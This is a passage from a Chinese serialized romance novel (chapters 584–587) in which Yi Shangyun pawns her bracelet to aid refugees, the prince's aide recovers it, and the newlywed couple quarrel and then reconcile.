青衣道长则笑了笑,遂将面前那朱红色的木匣盖了起来,轻轻推到拓跋宏的面前:“这药,公子还是将其物归原主的比较好。” 拓跋宏将匣子缓缓拿了起来,遂认真地打量了一番后,紧紧地握在了手心里。 楼下对面街角,一典当铺里。 衣上云正卸下自己今日带在身上的,仅有的一点儿首饰,将其包在帕子里,摆放在柜台上,双手合十正趴在柜台上苦苦哀求那掌柜的。 “拜托您再帮忙仔细瞧瞧,这些耳坠和手镯,都是用上好的玉石打造的,我若不是有事急着用银子,怎么都不会舍得来这里当掉的。您看看,这实在是不止这么多银子!您再给好好看看,好好看看呀。” 可那掌柜的有眼不识泰山,丝毫没认出衣上云的身份来,便不屑一顾地道:“我今儿还真把话撩这儿了,来这里的哪个不是遇到了难处。你这也就料子值几个钱儿,款式花样都太旧了,就只能出这些,爱要不要,不要您起别家去吧,谢谢!” 说着,那掌柜的竟走出来,亲自动手推搡着,逐起客来,衣上云很快便被其推推搡搡到了店门口。 “停,停,停,停,停……”衣上云实在是被这些满身铜臭味,势利眼的商人们气极了。 于是,她单手叉腰,大口喘了几口气,遂将一只胳膊向前直直伸了去,嘴里说道:“这个如何?” 那掌柜的回过头来,一见其故意露出手腕,亮出那个自己视其为性命一般的七彩金丝彩玉手镯,顿时掏出帕子来使劲擦了擦眼睛。 紧接着,便疾步过来小心翼翼地捉住那镯子,甚是稀罕地仔细打量了起来,嘴里还欠欠地道:“有这么好的东西,怎么不早点拿出来?” 见此,衣上云故意倏地将手收回,把镯子藏在了袖子里,昂起头来看都不看那掌柜的脸,问:“这个值多少?” 掌柜的露出一抹奸笑来,试探着伸出两根手指来在衣上云面前。 衣上云揣测道:“二百两?” 掌柜的谄媚讨好般笑了笑。 衣上云却冷笑了一声,扬声喝道:“你们这家店可真是黑呀!我这个镯子,你要是能在灵空大陆上找出第二只来,我这只分文不取,白送给你。” 掌柜的似是一辈子都没见过这么好的货,于是赶忙压低了声音,道:“哎呦,我的姑奶奶,求您小声点,那您说多少就多少,这样总可以了吧?” 衣上云不屑地看了他一眼,道:“你要是早如此说不就好了吗?” 虽然心中甚是不舍得,可与其相比,人命自是更重要。 终于拿到了一包沉甸甸的银子,衣上云便紧忙提着直接去店铺里采办了清单上的东西。 然而,不当家不知柴米油盐贵,当掉了自己最珍贵的东西方才换来的五百两银子,却是那么的不经花。 显然,自己目前置办的量与延福寺的需求还相差很远。 可她亦只能先命人将这一部分物资火速送至延福寺,余下的,只能回去再另想办法。 就在她安排好一切,若有所思着一筹莫展回去该如何开口,又向谁开口提这件事的时候,前方忽然有一个人挡住了她的去路。 一抬头,惊地她顿足停下,道了一声:“三少……” 见其已然对自己有些防备,亦有些惧怕,甚至都不敢一如往常地朝向自己迈步上前。 于是,易三少一袭白衣锦袍,双手附后着兀自上前到她的面前,盯视着她的眼睛,有些责怪地问:“怎么?相识一场,大婚之日也不知请我去喝杯喜酒?” 衣上云垂头下去,轻轻抿了抿嘴唇,向其致歉道:“三少,对不起。” “怎么又是这句!”易三少一听,无奈极了地道。 衣上云觉得,既然自己如今已经很明确地认定了轩辕翰,并已与其成婚,就该与一些人保持距离,尤其是易三少。 于是,她咬了咬牙,心一横,道:“三少,对不起,今日我已经出来很久了,该回去了,殿下他还在我家等我回去同他一起回府呢!我们下次再聊,下次……” 话未说完,便急急从其身旁绕过,想要逃走。 岂料刚没走出几步,忽闻易三少在身后乍出一句道:“丫头,你便是西秦国遗失多年的守护者后人,对吗?” 闻此,衣上云的心里顿时一惊,驻足停了下来朝四下里观望了一瞬,还好此处比较僻静,于是倏地回头紧张极了地问:“你是从何而知的?” 岂料这时易三少的眼神忽然变得温柔了下来,上前近身到衣上云的面前,忧心如焚地问:“丫头,你知不知道自己在做什么?” 第五百八十四章:得罪了秦王府 “丫头,你知不知道自己在做什么?” 衣上云当然知道他在替自己担心什么,然与轩辕翰之间经过了那么多事,两人分分合合,她对他的心如今早已坚如磐石,没有一丝怀疑。 于是,她目光定定的看着易三少的眼睛说:“不论我曾经是谁,亦或生来为何?曾经人人可欺的废柴丑女也罢,东宁国尊贵的嫡公主也罢,神秘的守护者后人又如何……往后余生,我便只做秦王妃一人,仅此而已。” 听这一席话,才知她对轩辕翰的决心竟已至此,为了他,她甚至可以不管不顾,抛弃所有一切。 而轩辕翰,想来他更早知道她所有的身份。 所以,一直以来,他心里亦明明知道自己将衣上云留在身边,便是危险重重,可即便如此,他还是想要保护她,而要保护她,便就注定此生要与这整个灵空对抗。 人世间,究竟是怎样的缘分?才让如此的两个人能够相遇、相知、相惜、相爱、相守。 一时间,他的心里竟嫉妒的发狂,心中甚是五味杂陈着,尽管心里早已做了一些铺垫,然此时此刻,还是怔愣在了原地。 不知过了多久,只见他忽然笑了起来,这笑容里明显都是对固执的衣上云满满的无可奈何。可即便如此,他还是想再试一次,希望能够说服她远离轩辕翰,即是远离这天下之争的纷纷扰扰。 易三少看着她的眼睛,说:“丫头,你能不能不要再自欺欺人了,只做秦王妃,你觉得这可能吗?轩辕翰是什么人?他的狼子野心早就已经昭然若揭。或许,这片灵空大陆上已然有人知道了你的存在,仅仅只因为你是守护者后人,是拥有那股神秘力量之所在,可能你便就会被各路人马争相抢夺,撕个粉碎。” 这一切,衣上云又怎会不知,可所有的事情已然成了这样,她总归要做出选择。 到底是顺天命,还是与天争,一路至此,这是她最后的选择,隧咬了咬牙,无比坚定地回答他道:“我不怕。” 不出所料,果然,她一直就是这样,如此固执,固执的让人心疼。 易三少逼不得已,只能试着从其身边的人着手试探:“就算你不怕,难道你就不为你身边的人想一想吗?” 终于,在衣上云的脸上现出了一丝犹豫:“我身边的人……” 见她的反应,易三少错觉地以为这回或许会有用,于是继续分析说:“既然你将成为挑起天下纷争的导火线,那么你身边的人,自然会被你受累,你就不怕终有一日,他们会受到伤害?自然,也包括那个秦王轩辕翰,可若你就此隐身避世,后果自然就不同了。” 可谁成想只不过须臾,衣上云便回过了神来,竟一脸决绝认真地说:“我想我可以保护好他们!” 易三少顿时惊诧极了:“丫头,你……” 衣上云高高抬起头来,与他对视着悠悠道:“如果我真的是什么守护者后人,若是连自己身边想要守护的人都守护不了,那这守护者,又有何用?不妨让世人早早知晓,如今的守护者,只不过是一介废人而已!如此,还有谁会去争,去抢,想要得到这样毫无一丝用处的守护者呢?” 至此,易三少似是彻底被其打败,闭起那双迷人的眸子来,然心中甚是不甘心,问她:“那我呢?” 随之,哗的一下,眸子被打开,顿射向衣上云的脸,质问她:“为何你的爱可以给世间万物,唯独却不能分我丝毫?” 衣上云的确始终对这个问题都不知该如何解释,顿退下目光来,只能由心而发:“爱就是爱,不爱就是不爱。对三少你,一直以来,我都把你当兄长看待,如今我只能说……对不起!” 无奈之下,衣上云最后依然只说了句过去每次都同样的话后,便转身迈开步离去。 伴随着其渐渐远去的背影,感应到她即将就要于街角转弯处消失的时候,易三少此刻落寞孤寂极了的背影背对着她,嘴里喃喃叹息道:“丫头,你如此执迷不悟地选择他,早晚有一天,你一定会后悔的……” 当衣上云小心翼翼地揣好银票,前脚刚一走出当铺的大门,奉命尾随其后的程良见其已走远,便带人夺门而出,出现在了那掌柜的面前。 那掌柜的一见来人一脸煞气,顿将手里正在仔细端详着的金丝彩玉手镯藏到了身后,同时渐渐卸去脸上的笑容,躲着身子怯怯地问:“你们是什么人?你们要做什么?” 尚还未待其反应过来,便闻程良冷声命令道:“拿出来!” 似是被来人的架势吓得不轻,掌柜的吞吞吐吐,不解地说:“拿……拿出来?什么拿出来。” 程良见这掌柜的明知故问,便有些不耐烦地喝令说:“方才刚刚出门的那位女子把什么东西典当在这里了,还不赶快拿出来。” 那掌柜的分明已经知道了来人的目的,却是实在不舍得刚刚到手的世间罕见的宝贝,于是,竟然不要命的鼓起一丝勇气来。 “刚刚那位女子?什么刚刚那位女子?今日我这铺子里没有来过什么女子呀?你到底是什么人?竟敢在这里闹事,看我不马上叫人……” 话未说完,只见程良身后一侍卫快速上前过去,顿时将一把明晃晃的长剑便驾在了他粗壮的脖子上。 那掌柜的瞬间被吓得魂都快没了,直瞪大了眼睛垂眼看着面前锋利无比的剑刃,一时间,别说说话了,似是就连正常的呼吸都不敢。 这时,程良对其发出最后通牒:“怎么……还不肯拿出来?看来这掌柜的确实是惜宝胜过惜自己的命,如此,那还等什么呢?还不快送掌柜的上路……” “我交,我交,我交” 闻此,终于那肥头大脑,满面油光的掌柜一边全身似是都哆嗦着,一边将暗藏在衣袖里的七彩金丝彩玉镯子交了出来。 嘴里还不忘心疼极了,似是都快哭了地说:“这可真是个难得的宝贝呢,我一辈子了,也没见过这般有灵性的镯子,它可足足花了我整整五百两呢!” 程良将其一把夺过,小心翼翼地擦拭干净后收好,看着那尚还眼巴巴的掌柜,对其轻蔑地说:“既然你都知道这是一只颇有灵性的镯子,又怎会不知它启是你这样的人配拥有的?这辈子,能见一眼,便知足吧!” 说完,便从自己身上摸出一张银票来,走过去放在柜台上,带人兀自离开。 此时,掌柜的早已是惊魂不定,哪里还顾得上银票不银票的。 店里的小厮过去拿起银票一看,顿时吃惊的说:“掌柜的,这五百两银票上的印章,盖的是……是……秦王府。” 闻声,掌柜的这才回过了神来,亦是看着小厮拿过来的银票上十分闪眼的印章,惊诧地道:“什么?莫非他们是秦王府的人?” “应该是了!”小厮隐隐觉得,在哪里见过程良,当时听到别人议论他便是秦王身边最得力的副将,便肯定地道。 遂掌柜的心里一顿,又疑惑地道:“那……那那位女子又究竟与这秦王府是什么关系?” 就在这时,身旁的小厮终于回想了起来:“怪不得见那女子有几分眼熟,小的终于想起来了,她是衣府的大小姐,前两日刚成婚。便就是如今的秦王妃了!” 掌柜的一听霎时惊呆了,一只手紧紧地掐住小厮的耳朵,扬声责备其道:“什么?没用的东西,长的什么眼力劲儿,怎么不早说她便是秦王妃?!” 眼看着掌柜另一只硕大硕肥的巴掌就要朝自己的脑袋落下来,小厮连忙举手又护起脑袋来,可怜地解释说:“小的也是刚刚想起来,她平时很少出门,小的也是那天在秦王大婚的时候,去街上看热闹见过一眼而已。秦王大婚那日,那可是难得一见的万人空巷的场面。” 而那掌柜的早已被惊吓连连两腿发软,站立不住便只能跪在地上,手里紧紧地攥着那张五百两银票,哭天喊地地说:“我的天哪,这可怎么办呢?得罪了秦王府,那还得了?!” 绿树阴浓夏日长,楼台倒影入池塘,水晶帘动微风起,满架蔷薇一院香。 衣府后院,明月阁楼下,到处洋溢着一片浓浓的初夏味道。 和着淡淡的药草味飘出,轩辕翰正与衣上坤俩人坐在凉亭里一起品茗。 轩辕翰仔细打量着四周,心里暗暗地道:“这便就是她从小长大的地方。” 衣上坤看他左右打量狭小的院子,便朝其致歉说:“寒舍简陋,不比王府。招待多有不周,还望殿下勿要见怪。” 轩辕翰与他并无话讲,他只是想在这里等衣上云一回来便就能看到她。 见其并未回应自己,衣上坤脸上略显尴尬,其实他也知道在轩辕翰的面前,自己是说不上话的。 可若不亲自招待的话,又觉欠了礼数,于是便提议说:“不如,殿下就尝尝这茉莉花茶吧!这是云儿……哦,不,这是王妃娘娘出阁前最喜欢的茶!” 闻此,轩辕翰终于开了口…… 第五百八十五章:回家借银子 “不如,殿下就尝尝这茉莉花茶吧!这是云儿……哦,不,这是王妃娘娘出阁前最喜欢的茶!” 闻此,轩辕翰终于开了口,却还是关于衣上云的:“云儿她喜欢喝茉莉花茶?” 衣上坤笑了笑,一边开始动手煮茶,一边介绍说:“香做引,茶为药,能够解百毒。茉莉花茶是将茶叶和茉莉鲜花进行拼和、窨制,使茶叶吸收花香,其茶香与茉莉花香交互融合,有“窨得茉莉无上味,列作人间第一香”的美誉。茉莉花又被认为是玉骨冰肌、淡泊名利的象征,代表了人的一种气节。有人认为,茉莉花一出,则百花不香,茉莉花就成为了“天香”,甚至与菩提均作为了佛家圣物。” 弹指一挥间,一盏汤色黄而明亮,闻起来清香四溢的茶汤便被送到了轩辕翰的面前。 轩辕翰看了看,伸手将其接过靠近鼻翼,只闻茶叶中散发出的香气浓而不冲、香而持久,清香扑鼻,闻之无丝毫异味。 抿了一口,又觉其口感柔和、不苦不涩,顿时只觉心情似乎也随之愉悦了许多。 衣上坤见其还算喜欢,便说:“此茶还有行气开郁、抗菌消炎、疏肝明目的功效。” 许是今日在府里呆的时间的确有些长了,满脑子都是关于衣上云过去的事情。 包括那个传遍全城令人匪夷所思的的传闻,轩辕翰想了想,忽然问:“听说云儿曾在府里昏迷不醒了长达一年之久,不知为何会发生这样的事?在她醒来之后,果真如传闻中所云,她的行为举止与之前完全不同,判若两人一般?” 一边说,一边兀自亲手将石桌上的空茶盏全都一一斟满。 闻此,衣上坤心里顿时只觉一惊,遂缓缓望向院子里明月阁紧靠东面的那面墙,想了想,说:“娘娘她从小体弱,身份也是特殊,为此小时在府上的确受了许多的苦,这都是微臣的错,没能好好护她。不知怎的,一日她就突然在院子里的墙根边站着站着便晕倒了。可如今都已经过去了,日后若是在王府冒犯了殿下,还望殿下能够宽恕她,莫要恼她。” 轩辕翰看出了他话里有所顾忌,只认真地说道:“本王既已认定了她,且鸿雁为信,三书六礼,八抬大轿娶了她,以后无论发生什么,自会都向着她,护着她,自此她便是本王的一切,本王的命,无须你在此教本王怎么做!” 话一说完,便放下手里的茶盏,起身离开了烟雨亭。 就在这时,衣上云从后门悄悄溜了进来。 蹑手蹑脚走到衣上坤的身旁,压低了声音轻唤道:“父亲,父亲……” 尚还望着轩辕翰负气离开的背影沉浸在自己思绪中的衣上坤,忽然被摇晃着胳膊回过神来:“你……你跑去哪里了,秦王殿下方才一直在这里等你呢,刚刚离开。” “嘘……”衣上云紧忙竖起两根手指来堵在自己嘴边,嘘声示意衣上坤莫要大声说话。 “父亲小声一点,莫要张扬,我好不容易落个清净。” 衣上坤气道:“如今你都已经嫁人了,怎么说话还这般没轻没重。归宁之日,把夫婿一人丢在陌生的家里,自己却一个人偷偷跑出去,你可知,你的夫婿可是当今位高权重的秦王殿下,你怎能如此行事,说话不注意身份!” 衣上云似是也意识到了自己的过错,于是便老实的坐下来在轩辕翰方才坐过的位置上。 跑了半天了,一口水都没喝,大热的天气,回到家,方才觉得自己的嗓子已经快要冒烟了。 “父亲您今天怎么煮了我最爱的茉莉花茶呢?” 一看到面前的石桌上摆着几盏刚刚好已经变温热了下来的茉莉花茶,于是急急端起来猛灌几口,这才喘过气来。 衣上坤这才明白了过来,轩辕翰为何斟满所有茶盏,自己却只喝了他递上去的一盏,原来轩辕翰对衣上云满满的疼爱,一切都在细节里。 于是缓缓对其说道:“这几盏茶是秦王殿下方才特意亲自为你晾的,殿下对你如此的好,你竟然嫌他烦,故意躲着他,他要是知道了,会有多寒心。” 衣上云得知后,抿了抿嘴唇,似是的确有些后悔了。 便对衣上坤解释说:“好了好了,女儿知道错了,女儿实在是有逼不得已的苦衷,不能告诉殿下,也不想让他替我担心。其实我出去是见了丁香一面,因为昨日是替她挡刀才不小心伤到的,殿下现在还恼着,所以我才自己跑出去的嘛。” 衣上坤不解地问:“你出去找她做什么?” 衣上云没有回答。 见她是真的为难,衣上坤追问:“怎么,难道连父亲都不能说吗?” 衣上云抿了抿嘴,还是摇了摇头,却忽然乍出一句:“父亲,能不能借我点儿银子?” 衣上坤听了有些纳闷,问:“你整日在王府里呆着,借银子做什么?要借多少?” 衣上云支支吾吾了半天,也不知道该如何开口。 衣上坤从未见她如此犹犹豫豫,便再次问她:“你到底要借多少银子?用来干嘛?” 终于,衣上云还是怯怯地伸出了一把细长的五指山来。 衣上坤猜测着道:“五两?” 衣上云摇了摇头。 衣上坤又道:“五十两?” 衣上云又拨浪鼓似的摇了摇脑袋。 衣上坤心里不禁有些吃惊起来:“难道是五百两?你哪里要用那么多银子?” 没想到衣上云还是摇头。 衣上坤简直有些不敢相信起来:“莫不是五千两?” 显然,这对于仅仅只是宫里的一名药师来说,简直就是一个天文数字,然衣上云似是心里还有些勉强,道:“如果可以的话,就先借这么多也行。” 衣上坤听了,顿惊谔地立起身来,几乎嘶吼一般地斥责衣上云:“你说什么?你要向为父借五千两银子,居然还说什么……先借这么多,难不成后面还有?” 至此,衣上云紧紧抿起嘴,不敢再说话。 她所伸出的五指山,自然不是五两,也不是五百两,更不是五千两,具体是多少,甚至连她自己也不知道,她想要做的事,所需要的银子,不就像自己此时所伸出的五指山一般沉重吗? 可她却又偏偏不讲这钱是用来做什么用的,衣上坤静了静,沉下气来问:“如此大的一笔费用,为父的确无能为力,你为何不同秦王殿下去借?” 衣上云心里其实也觉得自己所需的数目极有可能就是个无底洞,衣上坤定是帮不了自己的,于是也只得说:“没关系,父亲若是没有的话,我再另外想想其他办法。” 衣上坤背对着衣上云,说:“父亲不知道你遇到了什么事?也不知道你想做什么?但是我觉得无论你做什么,既然已经成婚了,就要夫妇同心,凡事有商有量,而不是事事瞒着他。若有一日被他发现了,知道你宁愿四处借钱,却不把他当作倚靠,他会心寒的。” 说完,便也双手附后着踱门而出离去,留下衣上云独自一人立在烟雨亭中陷入沉思。 衣府前院一阴凉的角落里。 程良奉命打从衣上云午后一出门,便就尾随其一路,此时亦随之再次刚回到了衣府里。 轩辕翰问:“王妃今日都去了哪些地方?见了什么人,做了些什么?” 程良如实禀报:“王妃她先去了延福寺,见了丁药女。” 果然,一听到让衣上云受伤的人的名字,轩辕翰便皱起了眉头,不解地问:“丁药女不在宫里当差,在延福寺做什么?” 程良回忆着道:“殿下可还记得,前段时间,西北地区的那场风沙,导致了许多人流离失所。有部分人逃到了皇城里来,却被皇上派人诛杀,幸好被我们的人所救。后来,就是这位丁药女在山里将这些人带到了延福寺里安顿下。如今,也是丁药女一人在帮助寺里医治病患。” 闻此,轩辕翰眉头终于渐渐舒展开来,说:“如此说来,这位丁药女,尚还算是个品性不错的。” 程良想了想,说:“王妃娘娘所看重的人,想来定不会太差的。” 轩辕翰狠狠道:“如若不是,那云儿替她所受的,本王定将千倍万倍的讨回来。” 这时,程良从身上拿出一个首饰盒来双手递到轩辕翰的面前:“殿下!” 轩辕翰放眼过去将其瞥了一眼,道:“这是什么?” 打开来一看,顿时有些傻眼,问:“这个七彩金丝彩玉镯子,不是王妃一直贴身戴着的吗?怎么会在你这里?” 程良道:“这是属下刚从路上的一家典当铺里赎回来的。” 轩辕翰大吃一惊:“她怎会把如此重要的镯子给当了?本王记得,这可是她曾经用自己性命护着的宝贝。” 程良说:“王妃前脚刚一离开,属下便就将其赎回来了。” 轩辕翰紧紧地攥着手里的镯子,问:“她想做什么?” 程良禀报说:“王妃娘娘把典当所得的所有银子全部用来给延福寺的灾民们置办物资和药草了。” 轩辕翰听了,情不自禁地再次蹙眉道:“银子的事,她为何不同本王开口?而是宁愿去典当自己的首饰,如此,她把本当什么?遇到事情,为何不是第一个想到本王?” 第五百八十六章:新婚闹别扭 “银子的事,她为何不同本王开口?而是宁愿去典当自己的首饰,如此,她把本王当什么?遇到事情,为何不是第一个想到本王?” 程良不想看到主子如此失落难过,于是兀自揣测着替衣上云解释说:“想来王妃娘娘定是觉得殿下平日里公务繁忙,不想叨扰才……才……” 可话刚一开口,似是连他自己也不相信,最后只得默默收了声作罢。 这个主子对她是那样的掏心掏肺,她怎能如此伤他的心? 俩人一起沉默了会儿。 轩辕翰最后吩咐程良:“速去安排人匿名将延福寺所缺的物资全部悉数送过去,绝不能再死一个人。” 然生气归生气,见轩辕翰还是对衣上云的事情很上心的,程良便放心地打起精神来领命:“是,属下这就去办。” 忽然之间,觉得有些累了,轩辕翰便摆了摆手,示意程良退下。 就在程良正欲迈步离开的时候,轩辕翰忽然再次叫住了他:“回来!” 程良顿转回身问:“殿下还有什么吩咐?” 轩辕翰想了一瞬,道:“命人去把灵空各处有名的茉莉花茶俱都寻回府里去。” 程良一听想了想,主子可是向来很少饮花茶的人,这会儿是怎么了,于是便忍不住多嘴问了句:“茉莉花茶?殿下寻花茶做什么?” “多嘴!”轩辕翰启能容他质问自己。 怎料程良这次却忽然自己反应了过来,这主子来了一趟衣府,看来还是很有收获的,于是便痛快地答应道:“是,属下明白了,属下这就立刻命人去寻。” 黄昏时分,衣府门前,衣上云与家人终于依依不舍地告别。 伴随着马车缓缓驶出深巷,衣上云与轩辕翰一同静静地坐在里面。 一路上,再也没有人主动先开口说话。 衣上云偷偷地扭头喵了好几次,发现轩辕翰始终都是一脸严肃与冷漠地看着前方,好几次想要开口同他说些什么,可最终还是没能说出口来。 就这样,俩人一路别别扭扭地回到了秦王府。 轩辕翰这次也没有同往常一样,将她细心地抱下马车,与其一道进门。 而是自己先一步跃下马车,便兀自快步踏上了石阶,进门后头也不回地径直朝着林月轩踱步而去。 衣上云下车后怔在原地,望着他渐渐消失在眼前漆黑夜色中的背影凝视了一会儿,最后深吐了一口浊气,也进门径直朝着云水阁方向而去。 回到云水阁,燕儿一边替其铺床,一边左思右想,细心地发现了俩人有些不对劲,便问道:“小姐,今日你与秦王殿下,是不是闹别扭了?” 此时衣上云刚沐浴更衣好,只穿了一层薄薄的鹅黄色底衣,包裹着一股淡淡的体香,曼妙身姿尽显无疑,一头瀑布般的长发及腰,随意散落着,尽显温柔。 此刻,正坐在梳妆台前发呆,一手支撑着下巴,对燕儿的疑问略显敷衍地答了句曰:“算是吧!” 燕儿着实对如此不开窍的主人有些无奈,轩辕翰对衣上云可谓是大事小事,事事上心,可衣上云却总是一副马大哈的样子,实在让人头疼! 于是,她想都不用想,便断定道:“是小姐的错?” 果然,只要是听到有关谁对谁错的时候,衣上云总能顿时回过神来,反问燕儿:“你为何这样说?你怎知是我的错?” 燕儿已经麻利地铺好了床,便近身过去一边替衣上云梳头发,一边道:“小姐,秦王殿下如今已是你的夫君,你一生的依靠,你就不能对你的夫君也上点儿心吗?” 不知燕儿小小年纪,都从哪里学来的这些道理:“偶尔你也可以向他示弱一下,小鸟依人一点儿,就像别人家的新妇一样,你难道没听人说过,会撒娇的女人最好命嘛!你说你总是那么要强做什么?这偌大的秦王府里什么没有,你宁愿回家问老爷借银子,也不愿同你的夫君开口?老爷能有几个积蓄,你心里还不清楚吗?” 衣上云终于明白了燕儿在说什么,可是有些事,并不是表面上看起来那样简单,于是便说:“燕儿,今日的事,并不是你想的那样简单。殿下有殿下要做的事,我也有我要做的事,殿下的事,我也帮不上什么忙,我做的事又……” 如今银子的事还没有一点儿着落,自己今日对灾民们的承诺要如何兑现,她真的是想想就头疼:“总之,这是我对他们的承诺,我必须得去实现它,不能因为我的事,再拖累殿下,惹太妃生气,甚至拖累整个秦王府。” 似是被这件事压的快要喘不过气来,于是起身来到窗前,想起白天易三少的话,衣上云道:“今日在街上,我遇到了三少,他同我讲了许多,我心里也都明白。若是放在以前,他的话一定会动摇我的决心,我亦会同样选择他所为我选择的。可如今,我与殿下一起经历了这么多风风雨雨,一路走来,我的眼里,心里就只有他一人。这辈子,我只想好好守护他,守好这个家,便就知足了!” 怎料屋内主仆的这些对话,恰巧被此时经过窗外的轩辕翰惧都听到。 只见他双手附后着立定深吸了口气,便兀自提步走了过去。 “嘎吱”一声。 寝室的门被人忽然从外面推了开来。 燕儿回头一看,借着屋内仅剩下的几盏昏暗的烛火之光照耀,刚一看清楚来人的脸,顿屈膝朝其行礼吃惊地道:“秦王殿下!” 轩辕翰进门后,伴随着其一只手扬起,燕儿便收拾了收拾,缓缓退了出去,替俩人将门轻轻掩上。 想起方才回来时,他对自己满是冷漠,衣上云这会儿确实也是累了,这一天下来,她本就病着的身子使她更加身心俱疲。 实在提不起精神笑脸去应付他,于是便躲着他的眼睛,素声问道:“殿下怎么这个时辰过来了,我今日有些累了,正准备歇下。” 这话里话外,明显是在驱赶自己。 轩辕翰硬是不听她的,自顾自上前朝其近身了过去。 很快,便将她步步紧逼至一墙角处,见她再也无路可退,才盯着她的眼睛说:“王妃这是在赶本王走?” 衣上云依旧避开他此时的灼灼目光,面露一脸疲惫着道:“云儿不敢。” 岂料就在这时,轩辕翰忽然冷不防地俯身下去一把将其横抱了起来。 衣上云大惊失色地道:“殿下这是要做什么?还不快放我下来。” 轩辕翰毫不理会她的挣扎,兀自将衣上云抱到了榻边坐下,责怪其道:“王妃今日着实叫本王在衣府一顿好等!” 衣上云坐好,垂首朝其解释道:“我说过,殿下身份尊贵,实在不必亲自陪我归宁的,今日,着实是委屈了殿下。其实,殿下若是等不回我,可以自己先回府的,实在不必一直等下去……” 轩辕翰知道她还在生他的气,气他今日回来时一路上对她的不理不睬。 其实他自己又何尝不是呢? 思来想去,不知究竟该如何哄她开心,可他清楚地知道,如果今夜他不来云水阁见她,让她就这样气着睡下,他一定会心疼地不行,彻夜失眠的。 一回到没有了衣上云在,复又恢复到与以前一样冰冷的林月轩,轩辕翰便就开始疯狂地后悔了。 这不,他便马不停蹄地赶过来看她了。 不成想,却在窗外听到了让自己这般感动的一番话。 霎时间,心情似乎也变得很好,不禁摊开一只大手来朝衣上云伸了过去,索要道:“本王的礼物呢?” 衣上云听了,这才反应了过来,惊诧地重新与他对视在一起,道:“礼物?” 折腾忙碌了一下午,始终是自己把承诺轩辕翰的这件事给忘的一干二净,于是歉声朝其说:“对不起,云儿忘了准备礼物了……” 轩辕翰预料之中,想了想便说:“算了,先记下吧,下次本王再一起讨回来。” 于是,复又拉起她的手来将其握住,她的手是那样的软绵绵,顺势又摩挲着她空空的手腕,忽然开口问她:“你的镯子呢,出门时本王还记得你好好戴着呢!” 顿时,衣上云惊地赶快缩回手去将其藏在自己身后,目光闪躲着,吞吞吐吐道:“镯子……我……我……兴许被落在明月阁里了,明日我便让燕儿回去找找看。” 见她即便此时,依旧还在对自己隐瞒,轩辕翰心里虽暗暗生气,但还是缓缓从怀里掏出那只熟悉的七彩金丝彩玉镯子来,再次用另一只手去将她的一只手想要拽过来。 岂料衣上云竟固执地与其对抗起来,怎么都不肯将其再次交出。 可她那小小微不足道的力量又如何与轩辕翰对抗,在其坚持下,最后只能乖乖束手就擒,轩辕翰温柔地替她将镯子套上。 衣上云瞬间瞪大了眼睛看着重新回到自己身边的镯子,道:“这镯子怎么会在……” 怎料话刚开口,便被轩辕翰忽地俯身过去温柔的吻一吻封唇…… 第五百八十七章:留书离府 与最爱的人闹别扭生气,是最不值得的事情。 就像此时的轩辕翰,在浅尝过仅仅接连两日的人间烟火气的味道后,刚一回到从前冰冷的寝殿,不见衣上云的身影,心里便就彻底后悔了。 就在他吻着吻着,想要尝试换个角度继续享受她温软的唇瓣的空隙,衣上云忽地挣脱他的怀抱,问:“殿下你这是怎么了?” 轩辕翰的眼里早已是满满的欲火中烧,恨不得将她立马吞下去,遂一把将衣上云推到在宽大的榻上,随手撒下床头帐幔。 紧接着,便伸手替衣上云开始除去衣物的遮挡,衣上云着实觉得今天身子极不舒服,便大惊失色地尝试用手去遮,嘴里拒绝着道:“殿下,不要……” 可美好的春光霎时乍现,轩辕翰明显喜欢的不得了,紧接着自己亦宽衣解带起来,将俩人衣袍一起丢到地板上,顿显一地凌乱,兀自便朝其欺身了上去。 可尽管俩人最后皆都一起失控,耳鬓厮磨,身体如漆似胶般交缠在一起,轩辕翰的动作也已经极其温柔体贴,不想还是一不小心触碰到了衣上云肩上的伤口。 “嘶”伴随其发出一阵吃痛的声音,双眼明显已迷离恍惚的轩辕翰逼不得已又一次停了下来,吞咽下大大的一口口水。 最后极不情愿地趴在她软绵的身子上,紧紧地贴在她的伤口旁,心里心疼懊恼不已。 为何自己没能好好护她,让她旧伤未愈,又添新伤。 遂发出一阵抱歉极了的声音来:“对不起……” 衣上云被折腾地无力地瘫在床上,闻声亦心疼极了地抬起一只手来轻抚着他宽阔的的后背,说:“该说对不起的人是我,今日是我不该丢下殿下自己跑出去,让殿下一直在衣府等我到黄昏。” 轩辕翰听了,终是放开了她。 隧自己翻身下来躺好,替俩人遮好锦被,又将自己的一只胳膊穿过衣上云的脖颈,把她牢牢勾在自己的怀里,贴到他的心窝上,听着自己此刻后悔极了的心跳声。 “或许,是本王初为人夫,与你相处,并不似平日军营里练兵,总是对你太过于束缚和苛刻,让你有些不自在。以后,这些本王都会慢慢改。本王方才在回来的路上,不该生你的气,更不该不理你。” 听他终于向自己妥协,主动认错,衣上云笑了,遂想了想,对其柔柔地说:“殿下你知道吗?其实我一直梦想着有一日,在一座只有我们俩人并不大的院子里,最好,还有一个可爱的女儿跟前跟后着喊我们父亲,娘亲。你就带着女儿玩,而我,在一个小小的厨房里,一把米,一瓢水,几颗红豆,再慢慢熬煮,听着红豆在罐中低低吟唱的声音,飘出人间最幸福的味道,只给殿下你一人。” 听着衣上云对这这人世间最简单的幸福的美好憧憬,轩辕翰将其柔软的身子朝自己身旁紧了紧,亦说:“红尘世俗,皆从烟火中熏出。人间烟火气,最抚凡人心。可这一切,却都并非理所当然的存在,总会有很多困境出现,也总得有人负重前行。貌似平淡无奇,其实它是如此珍贵,如此值得世人珍惜。也只有经历过劫后余生的人,才会真正悟得幸福的真谛。本王相信,你我定有这样的一日。” 听了轩辕翰的话,衣上云忽然明白了他心中所肩负着的责任,这个男人的担当。 而自己,又能为他做些什么呢? 想了想,她灵机一动,想要尝试着与轩辕翰沟通。 于是便说:“殿下,今日我……其实是去了延福寺。” 轩辕翰明明早已知晓了她的一切行踪,此时却又不得不配合她演戏:“延福寺……你去那里做什么?” 衣上云并没有提及丁香,而是只说:“在延福寺内,我见到了很多灾民,听说他们是在西北偏远地方遭遇了风沙肆虐之灾,家园尽毁,方才一路逃亡至此的。” 说起此事来,轩辕翰顿现一脸凝重神色,沉声道:“嗯,这件事,本王知道。” 衣上云抬起头来看着他的脸,着急地问:“那殿下亦可知,皇上竟然以国库空虚为由,不派人去救灾,任由这些灾民们就这样自生自灭。” 轩辕翰心里暗暗地道:“何止如此?如若不是本王暗中派人插手,他们怕是早就被皇兄的人给杀了!” 